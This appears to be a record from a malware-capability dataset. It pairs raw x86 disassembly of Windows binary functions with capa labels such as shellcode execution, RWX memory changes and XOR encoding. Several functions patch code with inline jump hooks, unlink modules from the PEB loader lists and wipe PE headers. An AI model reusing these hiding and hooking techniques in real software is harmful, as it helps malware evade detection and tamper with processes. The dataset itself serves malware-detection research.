joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401050
Capabilities:
Delete file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ecx, dword [0x426058]
push ebx
mov ebx, dword [0x42605c]
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x30], ecx
call fcn.00401040
mov edx, dword [0x426060]
mov eax, dword [0x426064]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4010b2
xor esi, esi
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov ecx, dword [0x845834]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x40110c
push esi
lea ecx, [ebp - 0x38]
push ecx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor eax, eax
lea ecx, [ebp - 0x3c]
push ecx
mov word [ebp - 0x1c], dx
mov word [ebp - 0x1a], ax
mov edx, dword [ebp - 0x1c]
push edx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov eax, dword [ebp - 4]
mov ecx, dword [0x845834]
add eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401126
mov dword [0x845830], 0xedeb2e40
jmp 0x401142
cmp ecx, 0x3eb
jne 0x401142
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [0x8451e4], esi
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov edx, edi
shr edx, cl
add eax, edi
mov dword [ebp - 0x14], eax
mov dword [0x84582c], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov ecx, dword [ebp - 0xc]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 8]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
nop
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
shr esi, cl
push edx
push eax
add esi, ebx
call fcn.00401020
cmp dword [0x845834], 0xb03
mov dword [ebp - 4], eax
jne 0x4011cb
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov eax, dword [ebp - 4]
xor eax, esi
mov dword [ebp - 4], eax
sub edi, eax
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
sub dword [ebp - 0x20], 1
jne 0x4010b0
cmp dword [0x845834], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401213
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4015b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x845834], 0x400
push esi
push edi
jne 0x4015d4
lea eax, [ebp - 0x24]
call fcn.00401690
lea esi, [ebp - 0x24]
call fcn.004016b0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
call edi
cmp esi, 0x2af054
jle 0x4015f2
cmp ebx, 0x787e04e5
jne 0x4015fb
inc esi
cmp esi, 0x1d8d
jl 0x4015e0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x40162d
inc esi
cmp esi, 0x4f6a4
jl 0x401610
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
pop ebx
push 0
call edi
cmp esi, 0x2b2589
jg 0x40164b
inc esi
cmp esi, 0x11915
jl 0x401636
mov eax, dword [0x42629c]
mov dword [0x845834], eax
call fcn.00401370
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, 0x3078f
jmp 0x401670
cmp dword [0x845834], 0x51f
jne 0x401680
push 0
call esi
sub edi, 1
jne 0x401670
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x406aa0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4252d8]
jne 0x406aaa
repz ret
jmp fcn.0040a3ec
Function at 0x409cb2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404f67
and dword [ebp - 4], 0
cmp dword [0x427c18], 0
mov ebx, eax
jne 0x409d63
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409e14
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409e14
push eax
call fcn.00404ef5
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427c18], eax
call esi
push eax
call fcn.00404ef5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x427c1c], eax
call esi
push eax
call fcn.00404ef5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x427c20], eax
call esi
push eax
call fcn.00404ef5
pop ecx
mov dword [0x427c28], eax
test eax, eax
je 0x409d63
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404ef5
pop ecx
mov dword [0x427c24], eax
mov eax, dword [0x427c24]
cmp eax, ebx
je 0x409dbb
cmp dword [0x427c28], ebx
je 0x409dbb
push eax
call fcn.00404f70
push dword [0x427c28]
mov esi, eax
call fcn.00404f70
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409dbb
test edi, edi
je 0x409dbb
call esi
test eax, eax
je 0x409db2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409db2
test byte [ebp - 0xc], 1
jne 0x409dbb
or dword [ebp + 0x10], 0x200000
jmp 0x409df4
mov eax, dword [0x427c1c]
cmp eax, ebx
je 0x409df4
push eax
call fcn.00404f70
pop ecx
test eax, eax
je 0x409df4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409df4
mov eax, dword [0x427c20]
cmp eax, ebx
je 0x409df4
push eax
call fcn.00404f70
pop ecx
test eax, eax
je 0x409df4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427c18]
call fcn.00404f70
pop ecx
test eax, eax
je 0x409e14
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409e16
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100010b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100010f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ecx]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [eax], edx
cmp dl, 0x6a
jne 0x1000113c
mov dx, word [ecx + 4]
mov word [eax + 4], dx
mov cl, byte [ecx + 6]
lea edx, [ebp - 4]
push edx
push 0x40
lea edi, [eax + 7]
push 7
push edi
mov byte [eax + 6], cl
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, edi
add esi, 2
mov dword [edi + 1], esi
mov byte [edi], 0xe9
mov eax, 0x90909090
mov word [edi + 5], ax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov cl, byte [ecx + 4]
lea edx, [ebp - 4]
push edx
push 0x40
lea edi, [eax + 5]
push 5
push edi
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, edi
mov dword [edi + 1], esi
mov byte [edi], 0xe9
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001170
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100011b6
push str.Error:_Unable_to_create_toolhelp_snapshot_
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100011a4
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x100011e0
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001208
test dl, dl
je 0x10001204
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001208
add eax, 2
add ecx, 2
test dl, dl
jne 0x100011e8
xor eax, eax
jmp 0x1000120d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000122f
lea ecx, [ebp - 0x130]
push ecx
push esi
call ebx
test eax, eax
jne 0x100011e0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
Function at 0x10001610
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x210], eax
xor eax, eax
mov dword [esi], 0
mov dword [esi + 4], eax
push str.psapi.dll
mov dword [esi + 8], eax
call edi
test eax, eax
jne 0x1000168a
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x20c]
push str._s_system32psapi.dll
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x10001691
push str.psapi.dll
call edi
mov ebx, eax
test ebx, ebx
je 0x100016bd
mov edx, dword [ebp - 0x210]
push edx
call edi
push str.GetModuleInformation
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xc
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.1000eefe
mov esp, ebp
pop ebp
ret 4
Function at 0x10001a40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
lea eax, [ebp - 0x58]
push eax
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4c]
cdq
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ecx
cmp eax, ecx
jbe 0x10001b5e
nop
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 4]
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10001b41
xor esi, esi
cmp dword [ebp - 0x24], 0x1000
jne 0x10001b15
cmp dword [ebp - 0x20], 1
je 0x10001b15
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_]
mov edx, dword [ebp - 0x28]
add esp, 4
lea ecx, [ebp - 8]
push ecx
push 0x40
mov esi, eax
mov eax, dword [ebp - 0x34]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10001b15
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x34]
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebx]
mov edx, dword [edx + 0xc]
push eax
mov eax, dword [ebp + 8]
push esi
push ecx
push eax
mov ecx, ebx
call edx
test eax, eax
jne 0x10001b4c
mov edi, dword [ebp - 4]
add edi, dword [ebp - 0x28]
mov dword [ebp - 4], edi
test esi, esi
je 0x10001b2c
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
cmp edi, dword [ebp - 0x18]
jb 0x10001a70
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
sub eax, esi
add eax, dword [ebp - 4]
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10002050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x63
lea eax, [ebp - 0x67]
push 0
push eax
call sub.MSVCR100.dll_memset
lea eax, [ebp - 0x68]
mov edx, esi
mov ecx, eax
add esp, 0xc
mov dword [ebp - 0x68], 0x632e6263
mov word [ebp - 0x64], 0x6d62
mov byte [ebp - 0x62], 0
sub edx, ecx
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10002090
push 0x63
lea edx, [ebp - 0x67]
push 0
push edx
mov byte [ebp - 0x68], cl
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.CEBXn_MBG]
not cl
xor cl, 0xd3
mov byte [ebp + eax - 0x68], cl
inc eax
cmp eax, 0xf
jl 0x100020b0
lea eax, [ebp - 0x68]
lea edx, [esi + 0x64]
mov ecx, eax
sub edx, ecx
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100020d0
mov edx, dword [str.d3d9.dll]
mov dword [esi + 0x32], edx
mov eax, dword [0x10011ed8]
mov dword [esi + 0x36], eax
mov cl, byte [0x10011edc]
mov byte [esi + 0x3a], cl
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
Function at 0x10007500
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x29
xor eax, eax
mov dl, byte [eax + str.jBJAK_]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x1c], dl
jns 0x10007534
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x10007517
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x1001ad84
push 0xf003f
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x80000000
mov byte [ebp - 8], 0
call ebx
test eax, eax
sete al
test al, al
je 0x10007576
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0x1001ad84
push 0xf003f
mov edi, 0x100137d0
push 0
sub edi, 0xb954e7a
lea esi, [ebp - 0x18]
call fcn.1000df40
push eax
push 0x80000000
call ebx
test eax, eax
sete al
test al, al
jne 0x100075d2
push 0x1001ad84
push 0xf003f
push 0
mov edi, 0x14445417
lea esi, [ebp - 0x2c]
call fcn.1000df80
push eax
push 0x80000001
call ebx
test eax, eax
sete al
test al, al
je 0x100075e5
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefe
mov esp, ebp
pop ebp
ret
push 0x1001ad84
push 0xf003f
mov edi, 0x1001380c
push 0
sub edi, 0x50299d6f
lea esi, [ebp - 0x28]
call fcn.1000dfc0
push eax
push 0x80000001
call ebx
mov ecx, dword [ebp - 4]
test eax, eax
sete al
test al, al
pop edi
setne al
pop esi
xor ecx, ebp
pop ebx
call fcn.1000eefe
mov esp, ebp
pop ebp
ret

Function at 0x10008df0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x1001af14], 0
je 0x10008edf
mov eax, dword [0x1001aeb0]
mov ecx, dword [eax + 8]
mov edx, dword [ecx]
mov ecx, dword [eax + 0x34]
mov edx, dword [edx + ecx]
imul edx, dword [eax + 0x54]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov ecx, dword [edx + ecx + 0x14]
call fcn.10004940
test eax, eax
jle 0x10008edf
mov edx, dword [0x1001aeb0]
push esi
mov esi, dword [edx + 0x14c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, 0x10008da0
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
call edi
mov ecx, dword [0x1001af20]
mov dword [0x1001af04], 0
call fcn.10008ab0
test eax, eax
js 0x10008ed2
cmp dword [0x1001af34], 0
je 0x10008e9d
call fcn.10008a20
test al, al
jne 0x10008e9d
cmp dword [0x1001af34], 0
jne 0x10008ecc
mov eax, dword [0x1001af24]
call fcn.10008b00
mov ecx, dword [0x1001af20]
mov esi, eax
call fcn.10008ab0
push 0x1001b2a8
mov ecx, esi
mov edx, eax
call fcn.10004c00
add esp, 4
mov byte [0x1001b112], 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov byte [0x1001b112], 0
pop esi
mov esp, ebp
pop ebp
ret
mov byte [0x1001b112], 0
mov esp, ebp
pop ebp
ret
Function at 0x100092f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1001afd4]
sub esp, 8
cmp eax, 1
jne 0x10009323
fld dword [0x1001683c]
fstp dword [0x1001b114]
fld dword [0x100168c0]
fstp dword [0x1001b118]
fld dword [0x100168c4]
jmp 0x10009471
cmp eax, 2
jne 0x10009345
fld dword [0x100168c8]
fst dword [0x1001b114]
fld dword [0x100168cc]
fstp dword [0x1001b118]
jmp 0x10009471
cmp eax, 3
jne 0x1000936d
fld dword [0x1001683c]
fstp dword [0x1001b114]
fld dword [0x100168c4]
fstp dword [0x1001b118]
fld dword [0x100168c8]
jmp 0x10009471
cmp eax, 4
jne 0x10009395
fld dword [0x100168c8]
fstp dword [0x1001b114]
fld dword [0x100168e4]
fstp dword [0x1001b118]
fld dword [0x100168e8]
jmp 0x10009471
cmp eax, 5
jne 0x100093bd
fld dword [0x100168ec]
fstp dword [0x1001b114]
fld dword [0x100168f0]
fstp dword [0x1001b118]
fld dword [0x100168f4]
jmp 0x10009471
cmp eax, 6
jne 0x100093df
fld dword [0x100168c4]
fst dword [0x1001b114]
fld dword [0x100168fc]
fstp dword [0x1001b118]
jmp 0x10009471
cmp eax, 7
jne 0x10009404
fld dword [0x10016904]
fstp dword [0x1001b114]
fld dword [0x10016908]
fstp dword [0x1001b118]
fld dword [0x100168c0]
jmp 0x10009471
cmp eax, 8
jne 0x10009429
fld dword [0x10016910]
fstp dword [0x1001b114]
fld dword [0x100168cc]
fstp dword [0x1001b118]
fld dword [0x10016918]
jmp 0x10009471
cmp eax, 9
jne 0x1000944e
fld dword [0x1001691c]
fstp dword [0x1001b114]
fld dword [0x10016920]
fstp dword [0x1001b118]
fld dword [0x10016924]
jmp 0x10009471
cmp eax, 0xa
jne 0x10009477
fld dword [0x10016928]
fstp dword [0x1001b114]
fld dword [0x100168f4]
fstp dword [0x1001b118]
fld dword [0x10016930]
fstp dword [0x1001b11c]
cmp dword [0x1001afd8], 0
je 0x100094cb
mov eax, dword [0x1001aeb0]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
mov dword [0x1001b140], 1
mov esi, dword [eax + 0x1b8]
push 5
push esi
call edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ecx
mov edx, 0x100092b0
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x1001b140], 0
mov esp, ebp
pop ebp
ret
Function at 0x1000b1f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x1000b25b
push esi
cmp ecx, edx
jne 0x1000b251
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x1000b213
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x1000b21f
mov esi, dword [eax]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x1000b22b
mov esi, dword [eax + 0x10]
mov dword [ecx], esi
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1000b238
mov esi, dword [eax + 0x14]
mov dword [ecx + 4], esi
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x1000b244
mov esi, dword [eax + 0xc]
mov dword [esi], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x1000b251
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x1000b204
pop esi
ret

Function at 0x1000b260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
test edi, edi
je 0x1000b2b9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [edi + 0x3c]
lea eax, [ebp - 4]
push eax
push 4
push 0x40
push edi
add esi, edi
call ebx
test eax, eax
je 0x1000b291
push 0x40
push 0
push edi
call sub.MSVCR100.dll_memset
add esp, 0xc
test esi, esi
je 0x1000b2b7
lea ecx, [ebp - 4]
push ecx
push 4
push pe_nt_image_headers32
push esi
call ebx
test eax, eax
je 0x1000b2b7
push pe_nt_image_headers32
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b2c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
call edi
push 0x1000
push 0
push esi
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
push 0
push ecx
push edx
push eax
call edi
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000b330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001aeb0]
push esi
mov esi, dword [eax + 0x1cc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push esi
call edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ecx
mov edx, 0x1000b150
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001aeb0]
push esi
mov esi, dword [eax + 0x1cc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push esi
call edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ecx
mov edx, 0x1000b1a0
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000c6b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10019000]
mov ecx, dword [eax + 1]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov edi, dword [0x1001b270]
lea edx, [ebp - 4]
push edx
push 0x40
lea esi, [ecx + eax + 5]
push 0xa
push esi
call ebx
sub edi, esi
mov byte [esi], 0xe9
sub edi, 5
mov dword [esi + 1], edi
mov edi, dword [0x1001b2dc]
mov eax, 0x90909090
mov dword [esi + 5], eax
mov byte [esi + 9], al
mov eax, dword [0x1001ae9c]
mov ecx, dword [eax + 1]
lea edx, [ebp - 4]
push edx
push 0x40
lea esi, [ecx + eax + 5]
push 0xa
push esi
call ebx
sub edi, esi
mov byte [esi], 0xe9
sub edi, 5
mov dword [esi + 1], edi
mov edi, dword [0x1001b1fc]
mov eax, 0x90909090
mov dword [esi + 5], eax
mov byte [esi + 9], al
mov eax, dword [0x10018700]
mov ecx, dword [eax + 1]
lea edx, [ebp - 4]
push edx
push 0x40
lea esi, [ecx + eax + 5]
push 0xa
push esi
call ebx
sub edi, esi
sub edi, 5
mov dword [esi + 1], edi
mov byte [esi], 0xe9
mov eax, 0x90909090
mov dword [esi + 5], eax
pop edi
mov byte [esi + 9], al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret